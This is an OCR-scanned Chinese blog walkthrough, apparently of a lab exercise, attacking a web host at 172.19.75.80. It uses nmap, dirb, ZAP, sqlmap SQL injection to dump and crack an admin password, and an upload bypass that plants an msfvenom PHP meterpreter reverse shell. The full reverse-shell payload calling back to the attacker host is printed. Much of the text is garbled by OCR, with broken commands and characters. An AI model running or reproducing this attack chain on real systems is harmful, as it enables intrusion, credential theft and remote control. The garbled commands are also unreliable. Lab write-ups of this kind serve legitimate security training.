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FREHEEILE, —a8Il—&kalildiil, REFHFEMS, FEER—MERN.
BELHHkalIP, 5172.19.75.143

- ifconfig
etho: Tlags=4ebullplESLMPeRST ., RUNNING, M S Ts mtu 1500
inetl72.19.75.143) netmask Z -l r2as.Haebhroadeast 172.19.75.32
inet othiletrmmadtelddtf:fe27:bbs r i) 64 id ex20<1link=>
ether ©08:0€ :27:0b:b8 txqueuelen 1000 (Etherne
RX packets 6473 bytes 2783758 (2.6 MiB)
( errors © dropped overruns © frame ©
packets 7098 bytes 606490 (592.2 KiB)
errors 0 dropped © overruns 0 carrier © collisions ©

lo: flags=73<UP,LOOPBACK, RUNNING=> mtu 65536
inet 127.8.8.1 netmas 255 .0 . 098
inet6 ::1 prefixlen 12 scopeid Oxl1l0<host>
loop queuelen 1000 (Local Loopback)
RX packets 20 bytes 1116 (1.0 KiB)
RX errors © dropped © overruns © frame ©
TX packets 20 bytes 1116 (1.0 KiB)
TX errors © dropped ©® overruns © carrier © collig

BEEEHHIP, 5172.19.75.80

-r 172.19.75,1/24)

REALTEK SEMICONDUCTOR CORP.
GIGA-BYTE TECHNOLOC CO0..LTD
- OMPUTER 1INCT
1'technik GmbH
Star INTL CO__ LB,
_LUMPUTER INC.
Shanghali Feixun Communicatio
COMPAL INFORMATION (KUNSHAN)

el el el

~# ping
2.19.75.80 |

from 172. |

from 172.19.75. : icmp s 2 ttl time=0.
from 172. o T : icmp seq ttl time=0.
from 172. L A0 : icmp 4 ttl time=0.
from 172.19.75. : 1Cmp SE€ > tt1l=64 time=0.6

AL TPED UL REEYSES)i & g

:~# nmap -sV 172.19.75.860
Nmap 7.70 ( http map.org ) at 2019-11-24 10:48 CST

up (0.00033s
998 clo (
PORT iR\ ICE V

/tcp open ssh Ope - 5 ( ze2 (protocol 2.0)




- virtual NIC)
Service Info: 0S: i nux CPE: :/o:linux:1linux kernel

Service detection performed. Please report any incorrect results at
bmit/
Nmap done: 1 IP address (1 host up) scanned in 7. 3UPsyd@raan.r

BB RBUATSER KNG 0, AREATXT80%4 H 34T dirb 3

# dirb http://172.19.7

START TIME: Sun Nov 24 D:50:43 2019
URL BASE: htt / /
yrdlists/common. tXt

GENERATED WORDS: 4612
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ed @ Getting Started "\ KaliLinux "% Kali Training "\ Kali Tools "% KaliDocs "\ KaliF

Login

Login Box

Login

Password

Login
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Login

Login admin

Password sssee
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OWASP ZAP

2730

Loading ZAP Tips and Tricks...

er, version=4.0.0], [id=reveal, version=2.0.0], [id=saveraw
message, version=4.0.0], [id=scripts, version=22.0.0], [id=
selenium, version=13.0.0], [id=spiderAjax, version=20.0.0],
[id=tips, version=6.0.0], [id=webdriverlinux, version=4.0.0].
[id=websocket, version=14.0.0], [id=zest, version=26.0.0]]

hitps://blog.csdn.net/qg_

[ % % & &% - OWASP ZAP2.7.0 © ® O]
Xt iE EF o & TLE Online &N

(StandardMode |w] |1 L ™ 0 & O 2E DO OO0 A« @0 ) O 6 ==
@ ihm -i-] J Quick Start rT-:aiéSRIum,rg;:T-l-]

@ 0 E =

¥ [V Contexts To quickly test an application, enter its URL below and press 'Attack’.

| Default Context

3 Please be aware that you should only attack applications that you have beer a

@ iEn URL to attack: http:d/
| 5 Wik | M Stop
Progress: Mot started
v
< J e
SR TR
© @& | % A ¢ Export
Id Req. Timestamp |... |URL C... | Reason|... | Size Res... | Highes... | N... | Tags =
-
=
v
Hafam Fuzerdo %0 Q0 WO 0 MU0

N E T M R AL http:/172.19.75.80, AT 4.

- S8 00580 A2V P ) QO ¥ @ i
_J » Quick Start # | = &R | mmze= | 4 |

i % (] i |




Please be aware that you should only attack applications that you have beer 4

"
To guickly test an applicat [ 5 "Attack’.
URL to attack: http://172.19,75.80 7'
By oy
Progress: Mot started &
v
AN J .

RIweb B A sqiENIRIF, FEAMIER: http:/172.19.75.80/cat php?id=3

(= = l o BE [ T ¢1 i I % Spider l A EmhEE l?‘

@& SQL ZA
v sE(8) _; - Tﬁfﬁl72197580mahphpﬁd=3+AND+1%3D]
¥ R SOLiEA Risk: A High

B GET: http://172.19.75.80/cat. php?id=3+AND+1%
» U RiEAHE (R

Confidence: Medium
Parameter; id

> (U X-Frame-Options Header Not Set (12) Attack: 30R1=1 —

BRI (3) Evidence:

» U Cookie No HttpOnly Flag L/ CWE 1D 89

» U Password Autocomplete in Browser ¥ | WASC ID: 18

i ¥ - ¥ -

FEIEN M HE B sqlmapBE TR .

Elsqlmap -u "http://172.19.75.80/cat.php?id=3"

[!] legal disclaimer:

t is illegal. It is

nd fede aws. Developers

or damage caused by this program

[¥*] starting @ 11:©2:00 /2019-11-2

(GET)

Type:
Title: Boolean-basec - ameter rep (original v
Payload: ic AS (3518=3 3) THEN 3 ELSE (SE
END) )

Type: error-basec
Title: MySQL = .0 AND error-based - WHERE, HAVING, ORDER




Payload: id=3 AND (SELECT 5858 FROM(SELECT COUNT(*), CONCAT

T(5858=5858,1))),0x7162766b71, FLOOR(RAND(®)*2) )x FROM INFORMAT
BY x)a)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns

Payload: id=3 UNION ALL SELECT NULL,CONCAT(Ox7176766a7l1l,0x
24279467a41T7658707a594d556T56416b6c714e51474d7167554276,0x7162
hitps://blog.csdn.net/qq_43233085

1 F sqlmap 2= #0 $ 3% E .

-u "http://172.19.75.80/cat.php?id=3" --dbs

http://sglmap.org

[!'] legal disclaimer: Usage of sqlmap for
t is illegal. It is the end user's responsibility to obey all applicat
nd federal laws. Developers assume no liability and are not
or damage caused by this program

attacking targets without pr
responsibl

[*] starting @ 11:03:14 /2019-11-24/ https://blog.csdn.net/qq_43233085

| ] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0

[ 1o ] fetching database names

lavailable databases [2]:

[*] information schema

[*] photoblog

AN E, F— R ARAHIEE, BATphotoblog ZE TR KM .

:@sqlmap -u "http://172.19.75.80/cat.php?id=3" -D "photoblog"

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for

t is illegal. It is the end user's responsibility to obey all applicable local, st
ind federal laws. Developers assume no liability and are not responsible for any mi
or damage caused by this program

attacking targets without prior mutual ¢

[*] starting @ 11:04:17 /2019-11-24/ https://blog.csdn.netigg_43233085

] [INFO] the back-end DBMS is MySaQL




web server operating system: Linux Deblian 6.0
web application technology: PHP 5.3.3, Apache 2

back-end DBMS: MySQL >= 5.0

| 1 [ ] fetching tables for database:
Database: photoblog

[3 tables]

e mmm e e e e - +

| categories |
| pictures |
| users |

s qlmap -u "http://172.19.75.80/cat.php?id=3" -D "photoblog"” -T "users" --c

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consen
t is illegal. It is the end user's responsibility to obey all applicable local, state a
nd federal laws. Developers sume no 1 any misuse
or damage caused by this

[*] starting @ 11:05:11 /2019-11-24/ http og.csdn.net

| ] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL >= 5.0

| 5] ] fetching columns for table °
Database: photoblog

Table: users

{[3 columns]

H--=-=-=-=-==-=-- e +
| Column | Type I
H=--=-======- e +
| id | mediumint(9) |
| login | varchar(50) |

| password | varchar(50) |

esqlmap -u "http://172.19.75.80/cat.php?id=3" -D "photoblog" -T "users" -C
"login,password” --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consen
it is illegal. It is the end user's responsibility to obey all applicable local, state a




cderlal

or damage caused | s program

starting @ :08:35 /2019-11-24/

—Bgy T %, BN T H A

| ] jllcracked password 'P4sswOrd' for user 'admin’
Database: photoblog
ers

8d410a8e0166eb2 (P4

ZEWFAIER T AP Ladminfl ZiGP4ssword..

{g FladminfliP4sswOrd & 3% .

Login

Login admin

Password eeesesss|

Login

< C @ ® 172.19.75.80/admin/inde
I+ Most Visited @ Getting Started "\ Kali Linux & Kali Traini

Administration of my Av

[Hacker [delete|

[Ruby [delete|




A dd a new picture

R INE A, SRE| EAEE R TUE, WAEXE Efeshellizs.

< C @ @ 172.19.75.80/ac
£+ Most Visited @ Getting Started "% Kali Linux & Kali Traini

Administration of my Av

Browse.. o file selected
test v
Add

B 2255, f# FHmsfvenomiil {Eshellil 4

sfvenom -p php/meterpreter/reverse tcp lhost=172.19.75.143 lport=4444 -f

_php from tt

raw

a $len-strl (
b)); t: } } $GLODBALSI
sion loaded('suhosin') &S&
reate function('’ tb) ;

17O ~ || @ Shal. phe #ES) |=| © @ ©
p /**/ error_reporting(0); $ip = '172.19.75.143'; $port = 4444; if ((s$f =
eam_socket client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}”); $s type =



SLredn j fF AT | I!D> Qe \pI = ISULRUPEI ) @ 1S LdlildULELD1)) 1 P> = DIIDILYP, PPUIL);
$s type = 'stream'; } if (!$s && ($f = 'socket create') && is_callable($f)) { $s =
$f(AF_INET, SOCK STREAM, SOL TCP); $res = @socket connect($s, $ip, $port); if (!$res)
{ die(); } $s5 type = 'socket'; } if (!%s type) { die('no socket funcs'); } if (!%$s)

{ die('no socket'); } switch ($s type) { case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket read($s, 4); break; } if (!$len) { die(); } %a =
unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch
($s type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket':
$b .= socket read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
$GLOBALS[ 'msgsock type'] = $s type; if (extension_loaded('suhosin') &&
ini_get('suhosin.executor.disable eval')) { $suhosin bypass=create_function('', $b);
$suhosin bypass(); } else { eval($b); } die();

B3| A& TTH, Efgshell.phpXfE, KRBT .

<~ - C @ 172.19.75.80/admin/new.php
£+ Most Visited @ Getting Started "\ Kali Linux “§ Kali Tr

Administration of my A

(€)=> C @ @ 172.19.75.80/admin/index.php
| #* Most Visited @ Getting Started "% Kali Linux “%& KaliTr

Administration of my A
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HEAVIZRERESR, ¥shell.phptishel.PHP, R bAE, XKREINT .

shell.PHP

shell.PHP|

Cancel QK

log.csdn.net/g

<)== C o @ 172.19.75.80/admin/new.php
I+ Most Visited @ Getting Started "\ Kali Linux "\ KaliT

Administration of my /

Title: | shell
File:| Browse..

test v
Add

= cC @ @ 172.19.75.80/admin/index.php
I+ Most Visited @ Getting Started "% Kali Linux “\ Kali Tt

Administration of my £



[Hacker \delete[

|Ruby ‘delete[

Cthulhu |delete

Ushell [delete ]

Add a W

shel b4 525, IIAIIT Frmetasploithilr4444355 0, iR Fshells
i A msfconsole3T FFmetasploit

:~/MMME# msfconsole
***rting the metasploit Fran
* WARNING: No database supp
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MName

CEVANET

Name 3 ] ytion

LHOST e 1e listen address (an interface may be
LPORT 4444 Y€ 1e listen port

httr

¥ N\kaliftip, WE B

msf5 exploit( ) > set lhost 172.19.75.143

72.19.75.143



Module options (exploit/multi/handler):

Name etting Required Description

Payload options (php/meterpreter/reverse tcp):

Name Current Setting Required Description

LHOST 172.19.75.143 ves The listen address (an in
LPORT 4444 - The liste
htt

run, WWr444435% 10,

msf5 exploit(
on 172.

3:4444

B3 EAETRE, MifishelSC R, HATKIsheltiRE T
sysinfo—F, ¥[8,

sysinfo
Computer : debian
0S : Linux debian 2.6.32-5 #1 SMP Sun May 6
Meterpreter : php/linux 1ps.//blog.csan.nét

shell
Process 1572 created.
Channel © created.
pwd
/var/www/admin/uploads
id
uid=33 (www-data) gid=33(www-data) groups=33(www-data)

RREHLEERARKIsQUEANLS, FH&Fflagll, FUEKEL! ! !
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